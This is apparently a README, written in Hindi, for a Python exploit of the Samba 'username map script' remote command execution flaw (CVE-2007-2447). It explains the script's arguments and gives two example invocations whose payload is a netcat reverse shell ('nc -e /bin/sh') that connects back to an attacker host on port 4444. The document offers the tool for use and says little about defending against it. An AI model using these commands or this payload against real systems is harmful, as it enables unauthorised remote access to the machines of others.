CVE-2007-2447 - Python कार्यान्वयन

विवरण

Samba 3.0.20 < 3.0.25rc3 (CVE-2007-2447) के लिए 'Username' map script' RCE शोषण का Python कार्यान्वयन।

उपयोग

python3 smbExploit.py <IP> <PORT> <PAYLOAD>

• IP - दूरस्थ मशीन का IP पता।
• PORT - (वैकल्पिक) वह पोर्ट जिस पर smb चल रहा है।
• PAYLOAD - दूरस्थ मशीन पर निष्पादित किया जाने वाला पेलोड जैसे कि रिवर्स शेल।

उदाहरण:

python3 smbExploit.py 192.168.1.2 139 'nc -e /bin/sh 192.168.1.1 4444'

python3 smbExploit.py 192.168.1.2 'nc -e /bin/sh 192.168.1.1 4444'

संसाधन

CVE-2007-2447: रिमोट कमांड इंजेक्शन भेद्यता

Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' कमांड निष्पादन (Metasploit)